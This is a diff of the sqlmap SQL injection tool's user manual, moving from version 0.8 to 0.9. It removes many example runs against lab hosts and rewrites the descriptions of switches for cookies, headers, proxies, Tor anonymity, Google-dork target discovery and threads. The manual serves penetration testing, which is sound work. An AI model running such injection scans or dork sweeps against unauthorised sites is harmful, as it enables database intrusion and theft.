-[hh:mm:50] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:50] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:50] [INFO] testing if Cookie parameter 'PPA_ID' is dynamic
-[hh:mm:50] [WARNING] Cookie parameter 'PPA_ID' is not dynamic
-[hh:mm:50] [INFO] testing if GET parameter 'id' is dynamic
-[hh:mm:50] [INFO] confirming that GET parameter 'id' is dynamic
-[hh:mm:50] [INFO] GET parameter 'id' is dynamic
-[hh:mm:50] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
-[hh:mm:50] [INFO] testing unescaped numeric injection on GET parameter 'id'
-[hh:mm:50] [INFO] confirming unescaped numeric injection on GET parameter 'id'
-[hh:mm:50] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
-[hh:mm:50] [INPUT] do you want to exploit this SQL injection? [Y/n] y
-[hh:mm:29] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:29] [INFO] the injectable parameter requires 0 parenthesis
-[hh:mm:29] [INFO] testing MySQL
-[hh:mm:29] [INFO] retrieved: 99
-[hh:mm:29] [INFO] confirming MySQL
-[hh:mm:29] [INFO] retrieved: 1
-[hh:mm:29] [INFO] retrieved: 9
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: MySQL >= 5.0.0
-[...]
-
-
+inject on HTTP requests proxied through or .
Load HTTP request from a file
-Option: -r
+Switch: -r
-One of the possibilities of sqlmap is loading of complete HTTP
-request packet stored in textual file. That way you can skip usage of
-bunch of other options.
+One of the possibilities of sqlmap is loading of complete HTTP request
+stored in textual file. That way you can skip usage of bunch of other
+options (e.g. setting of cookies, POSTed data, etc).
Sample content of a HTTP request file:
@@ -1232,40 +1001,10 @@ User-Agent: Mozilla/4.0
id=1
-
-Example usage:
-
-
-$ python sqlmap.py -r request.txt
-
-[...]
-[hh:mm:27] [INFO] parsing HTTP request from 'request.txt'
-[...]
-[hh:mm:21] [INFO] testing if POST parameter 'id' is dynamic
-[hh:mm:22] [INFO] confirming that POST parameter 'id' is dynamic
-[hh:mm:22] [INFO] POST parameter 'id' is dynamic
-[hh:mm:22] [INFO] testing sql injection on POST parameter 'id' with 0 parenthesis
-[hh:mm:22] [INFO] testing unescaped numeric injection on POST parameter 'id'
-[hh:mm:22] [INFO] confirming unescaped numeric injection on POST parameter 'id'
-[hh:mm:22] [INFO] POST parameter 'id' is unescaped numeric injectable with 0 parenthesis
-[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
-[hh:mm:22] [INFO] testing MySQL
-[hh:mm:22] [INFO] confirming MySQL
-[hh:mm:22] [INFO] retrieved: 3
-[hh:mm:22] [INFO] the back-end DBMS is MySQL
-web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
-web application technology: PHP 5.2.4, Apache 2.2.8
-back-end DBMS: MySQL >= 5.0.0
-
-
-
Process Google dork results as target addresses
-Option: -g
+Switch: -g
It is also possible to test and inject on GET parameters on the
@@ -1274,8 +1013,9 @@ results of your Google dork.
This option makes sqlmap negotiate with the search engine its session
cookie to be able to perform a search, then sqlmap will retrieve Google
-first 100 results for the Google dork expression with GET parameters
-asking you if you want to test and inject on each possible affected URL.
+first 100 results for the Google dork expression with GET
+parameters asking you if you want to test and inject on each possible
+affected URL.
Example of Google dorking with expression site:yourdomain.com
@@ -1298,15 +1038,6 @@ url? [y/N/q] n
GET http://thirdlevel.yourdomain.com/news/example3.php?today=483, do you
want to test this url? [y/N/q] y
[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example3.php?today=483
-[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:49] [INFO] url is stable
-[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
-[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
-[hh:mm:53] [INFO] GET parameter 'today' is dynamic
-[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
-[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
-[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
-[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
[...]
@@ -1314,23 +1045,12 @@ want to test this url? [y/N/q] y
Load options from a configuration INI file
-Option: -c
+Switch: -c
It is possible to pass user's options from a configuration INI file, an
example is sqlmap.conf.
-
-Example usage:
-
-
-$ python sqlmap.py -c "sqlmap.conf"
-
-[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
-back-end DBMS: MySQL >= 5.0.0
-
-
Note that if you also provide other options from command line, those are
evaluated when running sqlmap and overwrite the same options, if set, in
@@ -1340,52 +1060,24 @@ the provided configuration file.
Request
-These options can be used to specify how to connect to the target
-application.
+These options can be used to specify how to connect to the target url.
HTTP method: GET or POST
-Options: --method and --data
+Option: --data
By default the HTTP method used to perform HTTP requests is GET,
-but you can change it to POST and provide the data to be sent
-through POST request. Such data, being those parameters, are
-tested for SQL injection like the GET parameters.
-
-
-Example on an Oracle XE 10.2.0.1 target:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/post_int.php" --method POST \
- --data "id=1"
-
-[hh:mm:53] [INFO] testing connection to the target url
-[hh:mm:53] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:54] [INFO] url is stable
-[hh:mm:54] [INFO] testing if POST parameter 'id' is dynamic
-[hh:mm:54] [INFO] confirming that POST parameter 'id' is dynamic
-[hh:mm:54] [INFO] POST parameter 'id' is dynamic
-[hh:mm:54] [INFO] testing sql injection on POST parameter 'id'
-[hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id'
-[hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id'
-[hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable
-[...]
-[hh:mm:54] [INFO] testing Oracle
-[hh:mm:54] [INFO] retrieved: 9
-[hh:mm:54] [INFO] confirming Oracle
-[hh:mm:54] [INFO] retrieved: 10.2.0.1.0
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: Oracle
-
+but you can implicitly change it to POST by providing the data to
+be sent in the POST requests. Such data, being those parameters,
+are tested for SQL injection as well as the GET parameters.
HTTP Cookie header
-Options: --cookie, --cookie-urlencode and --drop-set-cookie
+Switches: --cookie, --cookie-urlencode and --drop-set-cookie
This feature can be useful in two scenarios:
@@ -1393,191 +1085,80 @@ This feature can be useful in two scenarios:
- The web application requires authentication based upon cookies and
you have such data.
-
- You want to test for and exploit SQL injection on such header
-values.
+
- You want to detect and exploit SQL injection on such header values.
-The steps to go through in the second scenario are the following:
+Either reason brings you to need to send cookies with sqlmap requests, the
+steps to go through in the second scenario are the following:
- On Firefox web browser login on the web authentication form while
dumping URL requests with browser's extension.
+name="TamperData"> browser's extension or by passing through a HTTP proxy
+like Burp.
- In the horizontal box of the extension select your authentication
transaction then in the left box on the bottom click with the right button
on the Cookie value, then click on Copy to save its
value to the clipboard.
-
- Go back to your shell and run sqlmap.
+
- Go back to your shell and run sqlmap by pasting your clipboard to
+the argument of the --cookie switch.
-
-Example on a Microsoft SQL Server 2000 Service Pack 0 target:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/cookie_int.php" --cookie \
- "id=1" -v 1
-
-[hh:mm:37] [INFO] testing connection to the target url
-[hh:mm:37] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:38] [INFO] url is stable
-[hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic
-[hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic
-[hh:mm:38] [INFO] Cookie parameter 'id' is dynamic
-[hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id'
-[hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie parameter 'id'
-[hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie parameter 'id'
-[hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable
-[...]
-
-
Note that the HTTP Cookie header values are usually separated by
-a ; character, not by an &.
+a ; character, not by an &. sqlmap can
+recognize these as separate sets of parameter=value too, as well
+as GET and POST parameters.
-If the web application at first HTTP response has a Set-Cookie
-header, sqlmap will automatically use it's value in all further HTTP
-requests as the Cookie header. sqlmap will also automatically
-test that value for SQL injection, except if you run it with
---drop-set-cookie option.
+If the web application responds with Set-Cookie headers at any
+time during the communication, sqlmap will automatically use its value in
+all further HTTP requests as the Cookie header. sqlmap will also
+automatically test those values for SQL injection, except if you run it
+with --drop-set-cookie option. In the latter case, sqlmap will
+ignore any coming Set-Cookie header.
-Example on a Microsoft SQL Server 2000 Service Pack 0 target:
-
-
-$ python sqlmap.py -u "http://192.168.136.128/sqlmap/get_str.asp?name=luther" -v 3
-
-[...]
-[hh:mm:39] [INFO] testing connection to the target url
-[hh:mm:39] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/get_str.asp?name=luther HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.136.128:80
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
-Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
-Connection: close
-
-[...]
-[hh:mm:40] [INFO] url is stable
-[...]
-[hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic
-[hh:mm:40] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/get_str.asp?name=luther HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.136.128:80
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-Cookie: ASPSESSIONIDSABTRCAS=469
-User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
-Connection: close
-
-[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
-[...]
-
+Vice versa, if you provide a HTTP Cookie header with
+--cookie switch and the target URL sends an HTTP Set-Cookie
+header at any time, sqlmap will ask you which one to use for the following
+HTTP requests.
-If you provide an HTTP Cookie header value and the target URL
-sends an HTTP Set-Cookie header, sqlmap asks you which one to use
-in the following HTTP requests.
+sqlmap by default does not URL encode generated cookie injections,
+but you can force it by using the --cookie-urlencode
+switch. Cookie content encoding is not declared by standard in any way, so
+it is solely the matter of web application's behaviour.
-Example on a Microsoft SQL Server 2000 Service Pack 0 target:
-
-
-$ python sqlmap.py -u "http://192.168.136.128/sqlmap/get_str.asp?name=luther" --cookie "id=1"
-
-[hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
-own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie
-values that you provided? [Y/n]
-
-
-
-sqlmap by default doesn't URL encode generated cookie injections, but you can force it by
-using the --cookie-urlencode flag. Cookie content encoding is not declared
-by standard in any way, so it's solely the matter of web application's behaviour.
+Note that also the HTTP Cookie header is tested against SQL
+injection if the --level is set to 2 or above. See below
+for details.
HTTP User-Agent header
-Options: --user-agent and -a
+Switches: --user-agent and --random-agent
-By default sqlmap perform HTTP requests providing the following HTTP
-User-Agent header value:
+By default sqlmap performs HTTP requests with the following User-Agent
+header value:
-sqlmap/0.8 (http://sqlmap.sourceforge.net)
+sqlmap/0.9 (http://sqlmap.sourceforge.net)
-It is possible to fake it with the --user-agent option.
+However, it is possible to fake it with the --user-agent
+option.
-Example on an Oracle XE 10.2.0.1 target:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" \
- --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
-
-[...]
-[hh:mm:02] [INFO] testing connection to the target url
-[hh:mm:02] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.136.131
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
-Connection: close
-[...]
-
-
-
-Providing a text file, ./txt/user-agents.txt or any other
-file containing a list of at least one user agent, to the -a
-option, sqlmap will randomly select a User-Agent from the file
-and use it for all HTTP requests.
-
-
-Example on a MySQL 5.0.67 target:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" -v 1 \
- -a "./txt/user-agents.txt"
-
-[hh:mm:00] [DEBUG] initializing the configuration
-[hh:mm:00] [DEBUG] initializing the knowledge base
-[hh:mm:00] [DEBUG] cleaning up configuration parameters
-[hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
-[hh:mm:00] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt':
-Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
-[hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests through
-[hh:mm:00] [DEBUG] creating HTTP requests opener object
-[hh:mm:00] [DEBUG] parsing XML queries file
-[hh:mm:00] [INFO] testing connection to the target url
-[hh:mm:00] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.136.131
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
-Connection: close
-[...]
-
-
-
-Note that the HTTP User-Agent header is tested against SQL
-injection also if you do not overwrite the default sqlmap HTTP
-User-Agent header value.
+Moreover, by providing the --random-agent switch, sqlmap will
+randomly select a User-Agent from the
+./txt/user-agents.txt textual file and use it for all HTTP
+requests within the session.
Some sites perform a server-side check on the HTTP User-Agent
@@ -1587,419 +1168,324 @@ application firewall or similar intrusion prevention system. In this case
sqlmap will show you a message as follows:
-[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try
-to force the HTTP User-Agent header with option --user-agent or -a
+[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent
+
+Note that also the HTTP User-Agent header is tested against SQL
+injection if the --level is set to 3 or above. See below
+for details.
+
HTTP Referer header
-Option: --referer
+Switch: --referer
It is possible to fake the HTTP Referer header value with this
-option. By default no HTTP Referer header is sent in HTTP
-requests.
+option. By default no HTTP Referer header is sent in
+HTTP requests.
-Example on a PostgreSQL 8.3.5 target:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --referer \
- "http://www.google.com" -v 3
-
-[...]
-[hh:mm:48] [INFO] testing connection to the target url
-[hh:mm:48] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.136.131
-Accept-language: en-us,en;q=0.5
-Referer: http://www.google.com
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
-Connection: close
-[...]
-
+Note that also the HTTP Referer header is tested against SQL
+injection if the --level is set to 3 or above. See below
+for details.
Extra HTTP headers
-Option: --headers
+Switch: --headers
-It is possible to provide extra HTTP headers by providing --headers
-options. Each header must be separated by a newline and it's much easier
-to provide them from the configuration INI file. Have a look at the sample
-sqlmap.conf file.
+It is possible to provide extra HTTP headers by setting the
+--headers switch. Each header must be separated by a
+newline and it is much easier to provide them from the configuration INI
+file. Have a look at the sample sqlmap.conf file for an example.
HTTP Basic, Digest and NTLM authentications
-Options: --auth-type and --auth-cred
+Switches: --auth-type and --auth-cred
These options can be used to specify which HTTP authentication type the
-web server implements and the valid credentials to be used to perfom all
+web server implements and the valid credentials to be used to perform all
HTTP requests to the target application.
The three valid types are Basic, Digest and NTLM,
while the credentials' syntax is username:password.
-Examples on a MySQL 5.0.67 target:
+Example of valid syntax:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \
- --auth-type Basic --auth-cred "testuser:testpass" -v 3
-
-[...]
-[hh:mm:14] [INFO] testing connection to the target url
-[hh:mm:14] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/basic/get_int.php?id=1 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.136.131
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
-User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
-Connection: close
-[...]
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/digest/get_int.php?id=1" \
- --auth-type Digest --auth-cred "testuser:testpass" -v 3
-
-[...]
-[hh:mm:54] [INFO] testing connection to the target url
-[hh:mm:54] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/digest/get_int.php?id=1 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.136.131
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-Authorization: Digest username="testuser", realm="Testing digest authentication",
-nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d",
-uri="/sqlmap/mysql/digest/get_int.php?id=1", response="16d01b08ff2f77d8ff0183d706f96747",
-algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a"
-User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
-Connection: close
-[...]
+ --auth-type Basic --auth-cred "testuser:testpass"
HTTP Certificate authentication
-Option: --auth-cert
-
-This option should be used in cases when the web server requires proper user's
-certificate for authentication. Supplied values should be in the form: key_file,
-cert_file, where key_file should be the name of a PEM formatted file that
-contains your private key, while cert_file should be the name for a PEM formatted
-certificate chain file.
+Switch: --auth-cert
-Example:
-
-
-$ python sqlmap.py -u "http://www.example.com/process.php?id=1" \
- --auth-cert key.pem,cert.pem
-[...]
-
+This switch should be used in cases when the web server requires proper
+client-side certificate for authentication. Supplied values should be in
+the form: key_file,cert_file, where key_file should be
+the name of a PEM formatted file that contains your private key, while
+cert_file should be the name for a PEM formatted certificate
+chain file.
-HTTP proxy
+HTTP(S) proxy
-Option: --proxy and --ignore-proxy
+Switches: --proxy, --proxy-cred and --ignore-proxy
-It is possible to provide an anonymous HTTP proxy address to pass by the
-HTTP requests to the target URL. The syntax of HTTP proxy value is
-http://url:port.
+It is possible to provide an anonymous HTTP(S) proxy address to pass by
+the HTTP(S) requests to the target URL. The syntax of HTTP(S) proxy value
+is http://url:port.
-Example on a PostgreSQL 8.3.5 target:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
- --proxy "http://192.168.136.1:8080"
-
-[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
-[hh:mm:37] [WARNING] the back-end DMBS is not MySQL
-[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
-back-end DBMS: PostgreSQL
-
+You can also pass by your requests through an authenticated HTTP(S) proxy
+server, by providing the credentials in the format username:password
+to the --proxy-cred switch.
-Instead of using a single anonymous HTTP proxy server to pass by, you can
-configure a together
-with on your machine
-as explained on the then run sqlmap as follows:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
- --proxy "http://192.168.136.1:8118"
-
+If, for any reason, you need to stay anonymous, instead of passing by a
+single known HTTP(S) proxy server, you can configure a together with
+ on your machine
+as explained on the Tor client guide and use the Privoxy daemon,
+by default listening on 127.0.0.1:8118, as sqlmap proxy.
-Note that 8118 is the default Privoxy port, adapt it to your
-settings.
-
-
-The option --ignore-proxy should be used in cases like
-when you want to run sqlmap against the machine inside a local area
-network skipping default usage of a system-wide set HTTP proxy server.
-
-
-Concurrent HTTP requests
-
-
-Option: --threads
-
-
-It is possible to specify the number of maximum concurrent HTTP requests
-that sqlmap can start when it uses the blind SQL injection technique to
-retrieve the query output.
-This feature relies on the concept and inherits both its pro and its cons.
-
-
-Examples on a MySQL 5.0.67 target:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" -v 1 \
- --current-user --threads 3
-
-[...]
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: MySQL >= 5.0.0
-
-[hh:mm:18] [INFO] fetching current user
-[hh:mm:18] [INFO] retrieving the length of query output
-[hh:mm:18] [INFO] retrieved: 18
-[hh:mm:19] [INFO] starting 3 threads
-[hh:mm:19] [INFO] retrieved: testuser@localhost
-current user: 'testuser@localhost'
-
-
-
-As you can see, sqlmap first calculates the length of the query output,
-then starts three threads. Each thread is assigned to retrieve one
-character of the query output. The thread then ends after up to seven
-HTTP requests, the maximum requests to retrieve a query output character
-with the blind SQL injection bisection algorithm implemented in sqlmap.
-
-
-Note that the multithreading option is not needed if the target is affected
-by an inband SQL injection vulnerability and the --union-use
-option has been provided.
+The switch --ignore-proxy should be used when you want
+to run sqlmap against a target part of a local area network skipping
+default usage of a system-wide set HTTP(S) proxy server.
Delay in seconds between each HTTP request
-Option: --delay
+Switch: --delay
-It is possible to specify a number of seconds to wait between each HTTP
-request. The valid value is a float, for instance 0.5 means half a second.
+It is possible to specify a number of seconds to wait between each HTTP(S)
+request. The valid value is a float, for instance 0.5 means half
+a second.
+By default, no delay is set.
Seconds to wait before timeout connection
-Option: --timeout
+Switch: --timeout
It is possible to specify a number of seconds to wait before considering
-the HTTP request timed out. The valid value is a float, for instance
+the HTTP(S) request timed out. The valid value is a float, for instance
10.5 means ten seconds and a half.
+By default 30 seconds are set.
Maximum number of retries when the HTTP connection timeouts
-Option: --retries
+Switch: --retries
-It is possible to specify the maximum number of retries when the HTTP
+It is possible to specify the maximum number of retries when the HTTP(S)
connection timeouts. By default it retries up to three times.
Filtering targets from provided proxy log using regular expression
-Option: --scope
+Switch: --scope
-Rather than using all hosts parsed from provided logs with option
--l, in combination with this option you can specify valid
-python regular expression to be used for filtering desired ones.
+Rather than using all hosts parsed from provided logs with switch
+-l, you can specify valid Python regular expression to be used
+for filtering desired ones.
Example usage:
-$ python sqlmap.py -l /tmp/webscarab.log/conversations/ --scope="(www)?\.target\.(com|net|org)"
+$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
+TODO
+
+
+Switches: --safe-url and --safe-freq
+
+
+TODO
+
+
+Optimization
+
+
+These options can be used to optimize the performance of sqlmap.
+
+
+Bundle optimization
+
+
+Switch: -o
+
+
+TODO
+
+
+Output prediction
+
+
+Switch: --predict-output
+
+
+TODO
+
+
+HTTP Keep-Alive
+
+
+Switch: --keep-alive
+
+
+TODO
+
+
+HTTP NULL connection
+
+
+Switch: --null-connection
+
+
+TODO
+
+
+Concurrent HTTP(S) requests
+
+
+Switch: --threads
+
+
+It is possible to specify the maximum number of concurrent HTTP(S)
+requests that sqlmap is allowed to do.
+This feature relies on the concept and inherits both its pro and its cons.
+
+
+This number comes into play when the brute-force switches are provided or
+when the data fetching is done through any of the blind SQL injection
+techniques.
+For the latter case, sqlmap first calculates the length of the query
+output, then starts the threads. Each thread is assigned to retrieve one
+character of the query output. The thread then ends when that character is
+retrieved.
+
+
+Note that the multi-threading switch does not affect any other SQL
+injection technique and that the maximum number of concurrent requests is
+set to 10 for performance and site reliability reasons.
+
+
+MySQL GROUP_CONCAT() speed up
+
+
+Switch: --group-concat
+
+
+TODO
+
+
Injection
These options can be used to specify which parameters to test for, provide
-custom injection payloads and how to parse and compare HTTP responses page
-content when using the blind SQL injection technique.
+custom injection payloads and optional tampering scripts.
Testable parameter(s)
-Option: -p
+Switch: -p
-By default sqlmap tests all GET parameters, POST
-parameters, HTTP Cookie header values and HTTP User-Agent
-header value for dynamicity and SQL injection vulnerability, but it is
-possible to manually specify the parameter(s) you want sqlmap to perform
-tests on comma separeted in order to skip dynamicity tests and perform SQL
-injection test and inject directly only against the provided parameter(s).
-
-Example on a PostgreSQL 8.3.5 target:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" -v 1 \
- -p "id"
-
-[hh:mm:48] [INFO] testing connection to the target url
-[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:49] [INFO] url is stable
-[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
-[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
-[hh:mm:49] [INFO] GET parameter 'id' is dynamic
-[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
-[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
-[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
-[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
-[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
-[...]
-
+By default sqlmap tests all GET parameters and POST
+parameters. When the value of --level is >= 2 it tests
+also HTTP Cookie header values. When this value is >= 3
+it tests also HTTP User-Agent and HTTP Referer header value for SQL injections.
+It is however possible to manually specify a comma-separated list of
+parameter(s) that you want sqlmap to test. This will bypass the dependence
+on the value of --level too.
-Or, if you want to provide more than one parameter, for instance:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
- -p "cat,id"
-
-
-
-You can also test only the HTTP User-Agent header.
-
-
-Example on a MySQL 5.0.67 target:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/ua_str.php" -v 1 \
- -p "user-agent" --user-agent "sqlmap/0.8 (http://sqlmap.sourceforge.net)"
-
-[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
-[hh:mm:40] [INFO] testing connection to the target url
-[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:41] [INFO] url is stable
-[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
-[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
-[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
-[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
-[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
-[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
-[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
-[hh:mm:41] [INFO] testing MySQL
-[hh:mm:41] [INFO] retrieved: 44
-[hh:mm:41] [INFO] confirming MySQL
-[hh:mm:41] [INFO] retrieved: 1
-[hh:mm:41] [INFO] retrieved: 4
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: MySQL >= 5.0.0
-
+For instance, to test for GET parameter id and for HTTP
+User-Agent only, provide -p id,user-agent.
Force the database management system name
-Option: --dbms
+Switch: --dbms
By default sqlmap automatically detects the web application's back-end
database management system.
-At the moment, fully supported database management systems are:
+As of version 0.9, sqlmap fully supports the following database
+management systems:
- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server
+
- Microsoft Access
+
- SQLite
+
- Firebird
+
- Sybase
+
- SAP MaxDB
-It is possible to force the DBMS name if you already know it so that sqlmap
-will skip the fingerprint with an exception for MySQL and Microsoft SQL
-Server to only identify the version.
-To avoid also this check you can provide instead MySQL <version> or
-Microsoft SQL Server <version>, where <version> is a valid version for
-the DBMS; for instance 5.0 for MySQL and 2005 for
-Microsoft SQL Server.
-
-Example on a PostgreSQL 8.3.5 target:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" -v 2 \
- --dbms "PostgreSQL"
-
-[...]
-[hh:mm:31] [DEBUG] skipping to test for MySQL
-[hh:mm:31] [DEBUG] skipping to test for Oracle
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: PostgreSQL
-
